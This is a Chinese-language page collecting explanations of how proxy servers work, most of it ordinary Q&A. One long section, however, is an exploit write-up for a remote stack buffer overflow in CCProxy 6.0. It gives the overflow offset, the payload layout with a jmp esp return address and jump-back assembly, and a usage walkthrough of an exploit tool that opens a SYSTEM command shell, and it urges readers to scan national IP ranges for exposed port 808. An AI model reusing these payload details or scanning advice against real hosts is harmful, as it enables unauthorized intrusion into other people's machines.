代理軟體原理
A. 在線代理的工作原理
在線代理原理是接收到瀏覽器(如ie,火狐等)對遠程網站的瀏覽需求時候內(瀏覽器客戶端提交網容址的時候),代理程序開始在當前伺服器尋找遠程網站的網站,找到目標網站後,代理程序馬上將網站數據返回到用戶的瀏覽器客戶端。如果當前伺服器沒有該遠程伺服器的緩存,代理程序則會自動讀取遠程網站,將遠程網站的資料提交給客戶端,同時將資料緩存以提供給下一次的瀏覽需求。代理程序會根據緩存的時間、大小和提取記錄自動刪除緩存。
在線代理使用不同的復雜的腳本,以便繞過防火牆等,來訪問被屏蔽或封鎖的網站,用戶使用在線代理服務非常簡單,不需要設置瀏覽器,也不需要安裝額外的軟體,只要訪問在線代理網站,然後輸入要訪問網站的網址,然後就可以享受免費的代理服務。在我國,有部分網站被屏蔽掉,如果你想訪問,就可以使用在線代理進行訪問。
B. Ccproxy的功能原理
CCProxy是一個國產的支持HTTP、、Gopher、SOCKS4/5、Telnet、Secure(HTTPS)、News(NNTP)、 RTSP、MMS等代理協議的代理伺服器軟體。因為其簡單易用、界面友好,非常適合在對流量要求不高的網路環境中使用,所以在國內有很多初級的網管喜歡用這個軟體,有時候我在公司上網也要用它做代理。前些日子我測試發現CCProxy 6.0版本存在多處緩沖區溢出漏洞,可以導致攻擊者遠程執行任意代碼。
TIPS:什麼是Gopher、RTSP、MMS?
Gopher是Internet上一個非常有名的信息查找系統,它將Internet上的文件組織成某種索引,很方便地將用戶從Internet的一處帶到另一處。允許用戶使用層疊結構的菜單與文件,以發現和檢索信息,它擁有世界上最大、最神奇的編目。
RTSP是Real Tranfer Stream Protocol的縮寫,翻譯為實時傳輸流協議,用來傳輸網路上的流媒體文件,如RM電影文件等,它的下載方法請看後文《悄悄下載流媒體》。
MMS是Multimedia Messaging Service的縮寫,中文譯為多媒體信息服務,它最大的特色就是支持多媒體功能,可以在GPRS、CDMA 1X的支持下,以WAP無線應用協議為載體傳送視頻短片、圖片、聲音和文字,彩信就算MMS協議中的一種。
漏洞發現過程
其實發現這個漏洞是很偶然的,當時在考慮公司產品的黑盒測試方案的時候,我想使用模板+測試用例的方式來進行網路部分的邊界測試。這是比較傳統的黑盒測試方法,其核心內容就是把網路協議包分塊,然後制定出對各個塊的測試策略,最後按照策略對所有塊逐步進行測試。這種測試方法的好處在於可以有效的控制測試進度,以及可以比較詳細地測試一個網路協議的所有部分,而且在測試過程中還可以不斷地加入新的測試用例,以完善測試計劃。測試程序的編寫則可以使用腳本語言或C來完成。
TIPS:什麼是黑盒測試?
黑盒測試法把程序看成一個黑盒子,完全不考慮程序的內部結構和處理過程。黑盒測試是在程序介面進行的測試,它只檢查程序功能是否能按照規格說明書的規定正常使用,程序是否能適當地接收輸入數據產生正確的輸出信息,並且保持外部信息的完整性。黑盒測試又稱為功能測試。
我就是用這種方法測試公司的產品的時候,恰好當時在公司內部網之間使用CCProxy做代理伺服器,因為測試HTTP協議要通過這個代理,所以測試過程中發現CCProxy崩潰了,也因此發現了這個漏洞,算是偶然吧。
漏洞分析過程
CCProxy的HTTP代理埠默認是808,這個埠可以在其界面中進行更改。漏洞的原理很簡單,就是對CCProxy的 HTTP代理埠發送URL超過4056位元組的畸形請求,CCProxy就會發生堆棧溢出。後來發現,不僅僅是GET請求存在此問題,所有POST、 HEAD等請求也都會導致溢出。在分析其原理後又發現CCProxy的Telnet代理也存在該問題。
現在來詳細介紹一下我分析這個漏洞的過程。在發現了發送超長請求可以導致CCProxy出錯以後,就開始分析溢出點以及利用限制。所要用到的工具是SOFTICE調試器和IDA反匯編工具。
TIPS:很多人都知道使用WINDASM反匯編,但經過它反匯編出來的代碼非常簡單,很不容易看明白,但IDA就不一樣了,它不但會反匯編程序,並會盡量分析程序,並加上相應的注釋。正因為這樣,IDA反匯編一個大的程序會花非常長的時間。
整個調試分析漏洞的過程如下:首先在SOFTICE中下斷點:Bpx ntdll!KiUserExceptionDispatcher,這個命令的意思就是程序運行到Ntdll.dll中的 KiUserExceptionDispatcher就停下來,交給SOFTICE進行處理。KiUserExceptionDispatcher這個函數是Windows的異常處理過程中的很重要的一個步驟,它負責派發用戶層空間發生的所有異常到異常鏈中的異常處理函數地址,每當在用戶層空間發生異常的時候就會調用這個函數。SOFTICE默認是沒有載入Ntdll.dll的,所以我們可以通過DriverStudio套件中的一個叫做「Symbol Loader」的工具的Load EXPorts來載入這個DLL文件。
設好斷點後,就用一個簡單的程序向808埠發送「GET /AAAA[...4056 bytes] HTTP/1.0<回車><回車>」這樣的超長字元串,其中包含4056個A的超長URL。發送之後SOFTICE會跳出來並停在KiUserExceptionDispatcher斷點上,這時候用「dd (*(esp+4))+b8」命令來查看出錯時的EIP地址,這是因為KiUserExceptionDispatcher的函數參數是一個指向保存異常發生時的寄存器的結構,該結構從偏移0x8c的位置開始保存寄存器值,其具體保存寄存器值如下:
0x08c Gs
0x090 Fs
0x094 Es
0x098 Ds
0x09c Edi
0x0a0 Esi
0x0a4 Ebx
0x0a8 Edx
0x0ac Ecx
0x0b0 Eax
0x0b4 Ebp
0x0b8 Eip
0x0bc Cs
0x0c0 EFlags
0x0c4 Esp
0x0c8 Ss
用「dd (*(esp+4))+b8」命令發現出現異常的EIP是0x41414141,我們知道0x41就是A的ASCII碼,所以現在已經證實我們發送的超長字元串已經覆蓋了某個函數的返回地址,導致該函數返回的時候返回到0x41414141這樣的地址。此時退出SOFTICE就會彈出 「0x41414141指令引用0x41414141的內存。該內存不能read。」這樣的應用程序錯誤對話框。
TIPS:「0x41414141指令引用0x41414141的內存。該內存不能read。」這種是典型的溢出提示,明確告訴我們溢出的地址和錯誤,對進一步分析溢出很有好處。
接下來,我們還需要知道究竟是什麼地方導致函數返回地址被覆蓋的。因此我們逐漸減少發送的字元串長度,發現當發送4039位元組時就不會導致出錯了。由於堆棧和返回地址被覆蓋,我們無法看到導致溢出的地址到底是哪裡,但是根據經驗推測,這可能是一個由Strcpy、Strcat或Sprintf等函數導致的溢出。因此我們在這些函數下斷點,然後再次發送4056位元組的長URL命令。但是發現沒有在這些函數中斷下來,證明溢出過程並沒有調用這些函數。
到了這里似乎沒有好的辦法能夠確定溢出位置了,但是通過觀察發生溢出後的堆棧內容,可以看到根據當時的堆棧中的連續大片的「AAAA……」和開頭的時間和 「unknown Web」字元串等信息得知,當對堆棧中對這些地址寫入內容的時候會導致覆蓋返回地址,所以我們直接對堆棧地址設寫斷點,使用命令「bpmd 01977908 w」來對0x01977908的地址設一個寫操作斷點,這個地址是我們通過觀察溢出發生後的ESP來得到的,因為這應該就是函數返回之後的ESP,即棧頂地址。但是這個地址是不固定的,可能不同的系統上這個地址也不一樣,即使在同一個系統上,這個地址也隨每次CCProxy進程的啟動而不同。但是在同一個系統上,一般試幾次就會使用同樣的地址,所以我們只需要多試幾次就肯定能夠中斷下來了。在設斷點之前首先要用Addr ccproxy來進入CCProxy的進程地址空間。
經過仔細分析發現,當調用0040A410這個函數之前,會進行壓棧操作,這個壓棧恰好會把函數返回地址寫入到堆棧01977908的位置,所以我們有理由相信就是調用這個0040A410這個函數的過程當中導致了溢出。在0040A410函數入口出設斷點,然後發送溢出字元串,中斷後按F12(即執行到函數返回),可以看到恰好返回到0x41414141的地址,這就印證了我們的推測,溢出確實發生在0040A410函數當中
然後我們用IDA來反匯編CCProxy.exe來看看0040A410函數到底進行了哪些操作。反匯編的代碼如下:
text:0040A410 sub_40A410 proc near ; CODE XREF: sub_408A10+114 p
.text:0040A410 ; sub_408A10+262 p ...
.text:0040A410 mov eax, 280Ch
.text:0040A415 call __alloca_probe ;分配0x280c大小的緩沖區
.text:0040A41A mov eax, dWord_501D04
.text:0040A41F push ebp
.text:0040A420 mov ebp, [esp+2814h] ;這是要記錄的內容,作為參數傳入
可以看到這個函數調用「__alloca_probe」函數來進行緩沖區分配,它和普通函數調用Sub esp,xxx的方式來分配緩沖區有點不同,這是因為需要分配的緩沖區太大,直接減ESP可能會導致直接到達未分配的地址空間,所以需要用 「__alloca_probe「來分配這個大緩沖區。
我們再繼續跟蹤這個函數,發現到0040A607的指令時覆蓋了函數的返回地址。代碼如下:
.text:0040A5F1 lea ecx, [esp+414h]
.text:0040A5F8 push ebp
.text:0040A5F9 push ecx
.text:0040A5FA lea edx, [esp+1820h]
.text:0040A601 push offset aSS_0 ; "[%s] %s"
.text:0040A606 push edx
.text:0040A607 call _sprintf
在這個調用了「_sprintf「函數,按照「[日期] 內容」的格式存入0x1820大小的局部字元串緩沖區中,由於沒有限制長度,所以導致了緩沖區溢出。再仔細查看發現「_sprintf」函數是在 CCProxy自己的代碼段裡面實現的,而沒有調用「msvcrt.dll」導出的Sprintf函數,難怪我們前面在Sprintf函數下斷點沒有攔截到!
說句題外話,現在市場上有些防溢出軟體產品是利用攔截系統的字元串拷貝函數然後回溯堆棧的方法,並宣稱從根本上解決了系統緩沖區溢出的問題。這根本就是無稽之談,因為很多溢出都是軟體自己的代碼實現導致溢出的,例如這個CCProxy溢出這樣,根本就不調用任何系統函數,所以那種保護方法並不能從根本上解決溢出的問題。
在0040A410函數返回的時候,就會返回到被覆蓋的地址去。代碼如下:
.text:0040A700 add esp, 280Ch ;恢復堆棧
.text:0040A706 retn ;返回
到這里我們已經可以看出,0040A410這個函數其實是一個記錄CCProxy日誌的函數,它按照「[日期] 內容」的格式來記錄日誌,但是在構造日誌字元串的時候沒有限制長度,所以導致了緩沖區溢出。我們已經找到了導致溢出的位置,接下來就要看看如何利用這個漏洞了。
漏洞利用
要利用漏洞,就要找到覆蓋返回地址的字元串偏移。我們可以通過發送AAAABBBBCCCCDDD……這樣的組合字元串看到底是哪裡覆蓋了返回地址。經過一番分析,得知在4056的偏移處恰好覆蓋了函數返回地址。所以我們這樣來設計溢出字元串:
GET /AAAA…. shellcode jmp esp jmp back HTTP/1.0
其中「AAAA……」這樣的字元串是為了在執行ShellCode之前騰出足夠的空間,因為字母A所對應的CPU指令是INC ECX,即一條無實際作用的指令,相當於傳統的NOP指令,但是它比NOP指令的好處在於它是可顯示的字元,不易導致錯誤。而ShellCode是一個普通開埠的ShellCode,對其中的字元無任何特殊要求。Jmp esp是一個包含Jmp esp指令的地址,把它作為覆蓋函數的返回地址,這樣當函數返回的時候就會跳到這個地址去執行Jmp esp指令,因為此時的ESP恰好指向函數返回地址後面的地址,即隨後的Jmp back指令。這個指令是一串跳轉指令,用來跳過Jmp esp地址和ShellCcode,執行到前面的AAAA……,即NOP指令,以便最後執行到shellcode當中。這里我們要選用一個比較通用的 jmp esp地址,如果是系統DLL中的Jmp esp地址,可能會隨系統打了不同的SP而有不同的地址,所以我們選擇0x7ffa54cd這樣的地址,它在同一類Windows系統(例如中文版 windows 2000)當中是固定的。Jmp <層>Back指令我們用這樣的匯編指令:
mov ecx,25414141h ;把ECX設為0x25414141
shr ecx,14h ;把ECX右移0x14位,讓ECX變為0x254
sub esp,ecx ;把ESP減去0x254
jmp esp ;跳到此時的ESP去
這樣把ESP減去0x254就可以跳過前面的返回地址和ShellCode,這樣一來就能夠恰好跳到shellcode前面的NOP指令去執行了。
這樣設計好溢出串,並編寫程序保證jmp esp恰好覆蓋返回地址,發送,果然溢出成功,並開出了shellcode指定的埠。這樣exploit是不是就算是完成了呢?於是我到外網找了一個安裝了CCProxy的肉雞試了一下,可是沒有成功。奇怪了,問題究竟出在哪裡呢?
經過仔細分析發現,由於溢出是按照「[日期] 內容」的格式拷貝到字元串當中導致的,其中「內容」部分的格式是這樣的:
客戶端IP地址<空格>unknown<空格>Web<空格>HTTP請求
其中unknown和Web都是固定長度的字元串,HTTP請求是我們所能控制的字元串。但是這里存在一個問題,就是客戶端IP地址是我們無法控制的字元串,它的長度是不固定的,這樣一來,不同長度的客戶端IP地址就會導致不同的溢出點,這樣也就可能無法成功的溢出了。怎樣解決這個問題呢?我們雖然無法控制客戶端IP地址的字元串長度,但是我們可以得到這個字元串的長度,並且在我們所能控制的HTTP請求當中補齊這個長度,讓我們發送的Jmp esp地址始終覆蓋在函數返回地址上面。
而客戶端IP地址可能根據不同網路結構而分為三種情況:
如果攻擊者和攻擊目標在同一個網段(即中間不經過網關),那麼客戶端IP地址就是攻擊者主機的IP地址。
如果攻擊者和攻擊目標不在同一個網段上(即中間經過網關),但是攻擊者的主機有真實的IP地址。那麼客戶端IP地址也是攻擊者主機的IP地址。
如果攻擊者和攻擊目標不在同一個網段上(即中間經過網關),而且攻擊者的主機沒有真實的IP地址。例如攻擊者在內網,而攻擊目標主機在外網,那麼客戶端IP地址就是攻擊者的網關的外部IP地址。
知道了這三種情況之後,我們就可以動手改進剛才的Exploit程序了。首先要取出本機的IP地址,可以通過調用Socket函數Gethostname ()先取得獲取本機名,然後通過調用Gethostbyname()來得到本機IP地址的十六進制數值,最後利用Inet_ntoa()把這個數值轉換為字元串。這樣就解決了前兩種情況的客戶端IP地址,那麼對於第三種本機和目標主機不在同一網段的情況又怎麼辦呢?用程序實現自動取網關外部IP地址好像稍微麻煩了點,我懶得寫這樣的程序了,乾脆由用戶自己來輸入算了,怎麼得到你的網關外部IP地址就不用我來教了吧,應該是不難的,有些網站的論壇甚至都會直接顯示出你的IP地址,那就是你網關的IP地址。
TIPS:利用網關實現溢出攻擊還是第一次看到具體的例子,它們的網路通訊是如何建立的?數據傳輸是怎麼進行的?有興趣的朋友可以考慮一下,嘗試利用這個過程做點事情,相信你會有更都的發現。
漏洞攻擊程序使用方法
我用前面提到的方法寫了一個Exploit程序,按照「ccpx <目標IP> [埠]」這樣的格式來使用,其中目標IP就是你要攻擊的安裝了CCProxy的機器的IP地址,埠是目標IP上的CCProxy的HTTP代理埠,這個埠默認是808,但是可能會更改。
然後程序會提示你「本主機IP是否與目標主機IP在同一個網段?」,因為前面提到原因,所以要採取兩種不同的溢出字元串,如果你的機器和目標主機在同一個網段上,那你就選擇Y,如果不在同一網段就選N。如果你選擇了Nn,程序還會詢問你「本主機有沒有真實外網IP地址?」,也就是說你的機器是在內網還是外網,有沒有真實IP地址,如果有就選Y,沒有則選N。如果這次你又選擇了N,那麼程序會要求你輸入本主機所屬網關的外部IP地址,這個地址需要你自己想辦法得到,要得到它也並不困難。輸入之後就會成功發送溢出串,並自動連接ShellCode所開出的 24876埠,如果成功的話,就會出現系統許可權的CMD.EXE命令行了。
如果你的機器和目標主機在同一個網段上面那就簡單了,直接在第一步選Y就可以攻擊成功。如果你的機器雖然和目標主機不在同一個網段上面,但是確有真實IP地址,那就在第二步選Y。
三種不同情況的具體攻擊過程如下:
1.你的機器和目標主機在同一個網段上:
D:\Soft\ccx\ccpx\Debug>ccpx 192.168.0.103
本主機IP是否與目標主機IP在同一個網段?[y/n]y
[+] connecting to 192.168.0.103:808
[+] send magic buffer...
[+] connecting to CMD shell port...
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版權所有 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator> exit
exit
[-] Connection closed.
2.你的機器雖然和目標主機不在同一個網段上面,但是有真實IP地址: D:\Soft\ccx\ccpx\Debug>ccpx 202.xxx.xxx.xxx
本主機IP是否與目標主機IP在同一個網段?[y/n]n
本主機有沒有真實外網IP地址? [y/n]y
[+] connecting to 202.xxx.xxx.xxx:808
[+] send magic buffer...
[+] connecting to CMD shell port...
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版權所有 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator>exit
exit
[-] Connection closed.
3.你的機器在內網,而攻擊目標主機在外網:
D:\Soft\ccx\ccpx\Debug>ccpx 210.xxx.xxx.xxx
本主機IP是否與目標主機IP在同一個網段?[y/n]n
本主機有沒有真實外網IP地址? [y/n]n 三層交換技術 交換機與路由器密碼恢復 交換機的選購 路由器設置專題 路由故障處理手冊 數字化校園網解決方案
請輸入本主機所屬網關的外部IP地址: 202.xx.xx.xx ←在這里輸入是你網關的外部IP地址
[+] connecting to 210.xxx.xxx.xxx:808
[+] send magic buffer...
[+] connecting to CMD shell port...
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版權所有 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator>exit
exit
[-] Connection closed.
我這個程序裡面的Jmp esp地址是中文版Windows 2000中的地址,在其他版本的操作系統中可能會有所不同,需要讀者自己修改。
TIPS:由於這個ShellCode裡面採用了直接開埠的方法,所以如果讀者朋友的攻擊目標上有防火牆的話,可能會導致攻擊不成功。這種情況你需要更改isno程序中的ShellCode,把它替換成反向連接的ShellCode再重新編譯一遍就行了。具體方法請關注最近幾期「新手學溢出」欄目。
前面提到的這種根據不同網路情況來填充不同個數的A,從而把Jmp esp地址推到函數返回地址的方法是不是最好的方法呢?我覺得可能還有更好的方法,也許利用Sprintf函數的一些內部特性就可以不用這樣而寫出通用的利用程序了,但是我沒時間去研究這個了,如果讀者有興趣的話可以自己研究一下,如果研究出來,這也算是一項很實用的通用Exploit技術。
後來研究發現CCProxy不僅僅HTTP代理存在溢出問題,Telnet代理等一些其他調用日誌函數的埠也存在同樣的問題,攻擊方法類似,這里就不再詳細分析了。另外,CCProxy 5.x以及以前的版本雖然也存在此漏洞,但是構造字元串的方法略有不同,因此這個Exploit程序無法成功的攻擊CCProxy 5.x以及以前的版本,只能攻擊CCProxy 6.0。讀者可以自己研究一下老版本的CCProxy,並寫出Exploit程序。
結束語
這個漏洞雖然不是Windows操作系統本身的漏洞,但是CCProxy在國內還算一個比較常用的軟體,因此還是有一些利用價值的。不信你可以用Super Scan之類的埠掃描器掃描國內網段的TCP 808埠,很多時候都能找到安裝了CCProxy的機器。
其實寫這篇文章的目的並不是教大家去利用這個漏洞黑機器,而是告訴大家一個軟體漏洞從發現到跟蹤調試到最後寫Exploit程序的過程是怎樣的,也許你也能用這種方法找到一些其它的漏洞。
C. 為什麼代理上網具有比不用代理上網的好處,它的原理是什麼
代理上網的原理.比如瀏覽網路.
不是你直接跟網路交換數據,而是你先發送到代理伺服器,說:我要去瀏覽網路,這個時候代理伺服器就會連接網路,然後把數據再轉發給你.
這中間多了一個過濾層,因此,網路不會得到你的真實IP,而是得到了代理伺服器的IP.
而且,比如國外的一些網站是受限制的,而你用代理的話,則就會突破限制而訪問道.
謝謝.
D. qq代理的原理是什麼
代理伺服器的原理 代理伺服器的工作機制很象我們生活中常常提及的代理商,
假設你的機器為A機,你想獲得的數據由B機提供,代理伺服器為C機,那麼具體的連接過程是這樣的。
首先,A機需要B機的數據,它與C機建立連接,C機接收到A機的數據請求後,與B機建立連接,下載A機所請求的B機上的數據到本地,再將此數據發送至A機,完成代理任務。
代理伺服器的功能
● 可以隱藏自己。你不用與目標機器打交道,目標伺服器不會知道你的IP,他只知道代理伺服器的IP。
● 可以訪問一些有IP禁止訪問的伺服器。因為封鎖只禁止了你和目標伺服器的連接,但並沒有禁止你與代理伺服器的連接 以及代理伺服器與目標伺服器的連接。
● 加快網路的讀取的速度。通常代理伺服器都是比較強勁的機器,假如你的網路不是很好,使用代理在一定的情況下可以加快網路的讀取速度。注意,這是有條件的,並不是所有使用代理都能加快的。
誰提供免費的代理伺服器
● 善良的伺服器的系統管理員或能取得伺服器管理權的人設置的。(簡單的說通常就是用肉雞 做的)
● 真正好心的人,在自己的伺服器設置代理,造福大眾。
● 一些ISP商為了提高影響,在一段時間內開放的免費代理。
通常時間很短。 [c免費代理的收集要收集代理,必須先知道一些默認的代理埠。通常HTTP代理的埠是80、3128、8080、8888;
SOCK代理的埠是1080、1813;
FTP代理的埠是21、2121。
然後用掃描代理埠的軟體去掃描指定的IP段和埠就行。
掃描代理猶如大海撈針,一天24小時一台機器能掃出幾個真正能用的代理就很不錯了。
影響代理速度的因素
● 代理伺服器所在的網路。如果代理機器本身的網路帶寬不好的話,直影響到代理的速度,你的網路再快也沒用。
● 代理伺服器的性能。如果代理伺服器本身的配置不高,那一旦多人同時使用,就是直接影響代理伺服器的速度。
● 你所訪問的目標伺服器。這也是影響代理速度的因素,你要訪問對方,自然要以對方的速度為標准。
HTTP、SOCK、FTP代理的區別
● 瀏覽器用HTTP或SOCK代理。
● 下載軟體用HTTP或SOCK代理。
● 上傳軟體用FTP或SOCK代理。
● 其他的一般用SOCK代理。(聊天,MUD游戲等) SOCK代理使用范圍很廣,但SOCK有SOCK4和SOCK5之分,
區別:
其中SOCK4隻支持TCP協議;SOCK5支持TCP和UDP協議,還支持身份驗證、伺服器端域名解釋等。SOCK4能乾的SOCK5都可以干,反過來就不行。我們常用的聊天軟體(如QQ),用的是TCP和UDP協議的,所以QQ只能用SOCK5的代理。 有長久能用的好代理嗎 代理通常都是別人的伺服器,伺服器能運行多久?管理員能讓伺服器運行代理多久都是不可控制的。代理是很消耗資源的,同時太多的人使用同一個代理,也會令到代理死亡。所以基本上不存在長久能用的好代理,代理需要經常換新的
E. 代理IP的原理是什麼
代理伺服器的工作機制很象我們生活中常常提及的代理商,假設你的機器為A機,你回想獲得的數據答由B機提供,代理伺服器為C機,那麼具體的連接過程是這樣的。 首先,A機需要B機的數據,它與C機建立連接,C機接收到A機的數據請求後,與B機建立連接,下載A機所請求的B機上的數據到本地,再將此數據發送至A機,完成代理任務。
F. 代理軟體是干什麼用的代理是個什麼意思
代理軟體就是賣軟體的意思,開虛擬充值店要買軟體,要找上家代理(買)軟體,買了自己就是代理商了。開淘寶網店有什麼不懂的地方可以問我,我教你。
G. 代理是什麼原理啊
你想說的就是使用網頁代理吧。
原理可以簡單的概述為:用戶(A)-在線代理伺服器(B)-目標網站(C),即:A向B發送瀏覽請求-B執行請求發送給C-C收到請求,回應。
代理伺服器其功能就是代理網路用戶去取得網路信息。形象的說:它是網路信息的中轉站。在一般情況下,我們使用網路瀏覽器直接去連接其他Internet站點取得網路信息時,須送出Request信號來得到回答,然後對方再把信息以bit方式傳送回來。代理伺服器是介於瀏覽器和 Web伺服器之間的一台伺服器,有了它之後,瀏覽器不是直接到Web伺服器去取回網頁而是向代理伺服器發出請求,Request信號會先送到代理伺服器,由代理伺服器來取回瀏覽器所需要的信息並傳送給你的瀏覽器。而且,大部分代理伺服器都具有緩沖的功能,就好像一個大的Cache,它有很大的存儲空間,它不斷將新取得數據儲存到它本機的存儲器上,如果瀏覽器所請求的數據在它本機的存儲器上已經存在而且是最新的,那麼它就不重新從Web伺服器取數據,而直接將存儲器上的數據傳送給用戶的瀏覽器,這樣就能顯著提高瀏覽速度和效率。更重要的是:Proxy Server(代理伺服器)是Internet鏈路級網關所提供的一種重要的安全功能,它的工作主要在開放系統互聯(OSI)模型的對話層。而在線代理是一種在網頁上運行的代理伺服器程序,其不用任何設置,輸入網址選擇好代理伺服器便可以訪問的優點已經成為時下最流行的代理訪問方式。在線代理是常見的一種代理程序。網頁代理給客戶端提供遠程網站上的網頁和文件的高速緩存,使客戶端可以更加快速安全的瀏覽遠程網站。
網頁代理也可以過濾遠程網站的內容。一些審查軟體也跟網頁代理差不多,將一些網站內容過濾掉。出於某些目的或保護,有些網頁代理程序也會將網站的內容重新編排。比如,Skweezer可以將網頁重新編排,以提供給手機和PDA瀏覽。網路管理員也經常使用代理程序來預防病毒和反動網站內容。
這些程序通常是使用PHP或者CGI編程語言編寫的。CGI編寫的代理程序通常被用來突破公司或學校的網路封鎖。通過CGI編寫的代理程序可以隱藏客戶端的IP,因此用戶可以實現匿名訪問遠程網站。php編寫的代理程序採用64位加密技術,通過HTTP訪問類使用fsockopen函數訪問目標 URL,然後處理一下得到的html代碼,將其中的各個鏈接加上前綴,以便讓瀏覽器仍然通過PhpProxy訪問各個圖片和CSS,js文件。
H. 誰知道代理伺服器的原理
是,代理就是這樣工作的,除非你直接訪問存在一些問題,比如速度比較慢,一般不要用代理.
I. Socks代理的原理
socks代理相應的採用socks協議的代理伺服器就是SOCKS伺服器,是一種通用的代理伺服器。Socks是個電路級的底層網關,是DavidKoblas在1990年開發的,此後就一直作為Internet RFC標準的開放標准。Socks不要求應用程序遵循特定的操作系統平台,Socks 代理與應用層代理、 HTTP 層代理不同,Socks代理只是簡單地傳遞數據包,而不必關心是何種應用協議(比如FTP、HTTP和NNTP請求)。所以,Socks代理比其他應用層代理要快得多。它通常綁定在代理伺服器的1080埠上。如果您在企業網或校園網上,需要透過防火牆或通過代理伺服器訪問Internet就可能需要使用SOCKS。一般情況下,對於撥號上網用戶都不需要使用它。注意,瀏覽網頁時常用的代理伺服器通常是專門的http代理,它和SOCKS是不同的。因此,您能瀏覽網頁不等於您一定可以通過SOCKS訪問Internet。 常用的防火牆,或代理軟體都支持SOCKS,但需要其管理員打開這一功能。如果您不確信您是否需要SOCKS或是否有SOCKS可用,請與您的網路管理員聯系。為了使用socks,您需要了解一下內容:
① SOCKS伺服器的IP地址
② SOCKS服務所在的埠
③ 這個SOCKS服務是否需要用戶認證?如果需要,您要向您的網路管理員申請一個用戶和口令
知道了上述信息,您就可以把這些信息填入「網路配置」中,或者在第一次登記時填入,您就可以使用socks代理了。
J. 代理伺服器工作原理是什麼有什麼優、缺點
使用了代理伺服器就是優化了你機器的IP到伺服器IP之間的最優路由訪問路徑而已。。
訪問速度肯定比一般的快。